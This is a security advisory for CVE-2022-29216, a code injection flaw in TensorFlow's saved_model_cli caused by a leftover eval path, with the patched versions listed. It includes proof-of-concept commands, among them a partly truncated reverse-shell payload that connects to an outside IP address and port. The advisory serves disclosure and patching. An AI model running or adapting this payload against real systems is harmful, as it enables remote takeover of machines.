Code injection in `saved_model_cli`

Moderate **mihaimaruseac** published **GHSA-75c9-jrh4-79mc** on May 17

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.9.0	2.6.4, 2.7.2, 2.8.1, 2.9.0

Description

Impact

TensorFlow's `saved_model_cli` tool is vulnerable to a code injection:

```
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
```

This can be used to open a reverse shell

```
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\
i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
```

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

```
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
```

```
        # ...
      else:
        # ast.literal_eval does not work with numpy expressions
        input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
    return input_dict
```

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done without calling `eval`.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

Severity

Moderate

CVE ID

CVE-2022-29216

Weaknesses

No CWEs